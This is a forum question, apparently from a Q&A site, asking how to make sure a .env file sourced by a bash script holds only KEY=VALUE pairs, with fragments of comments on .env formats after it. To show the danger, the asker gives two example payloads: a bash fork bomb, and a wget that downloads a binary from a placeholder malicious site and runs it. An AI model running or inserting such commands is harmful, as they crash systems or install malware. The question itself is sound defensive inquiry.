I have the following script:
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "No argument has been provided"
exit -1
fi
ENV_FILE=$1
source $ENV_FILE
As you can see script's user provides a .env
file that must contain environmental variables. The $ENV_FILE
contains the path of the .env
file that contains theenvironmental variables.
For my script the .env
file needs to contain key-pair value such as:
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
But on the code above seem like a bad idea to just source
a random text file that is provided for environmental variable.
For example if the .env file is:
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
:(){ :|: & };:
Or if it contains something like:
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
wget https://malicisoussite.com/mallware -o /usr/bin/mallware
chmod +x ./mallware
./mallware
As you can see, the source
command just loads the .env file as a bash script. Therefore, it can contain malicious code as well beyond the expected environmental variable assignment.
So how I can ensure that file only contains KEY=VALUE
pairs?
source
)? Or do you just want some way of representing arbitrary one-line strings?.env
files are defined somewhere, and found e.g. this: npmjs.com/package/dotenv It describes quotes and a few things that aren't comparible with the shell (e.g. support for\n
in doublequoted strings) And then there's this, which basically describes (sourced) shell script: ibm.com/docs/en/aix/7.2?topic=files-env-file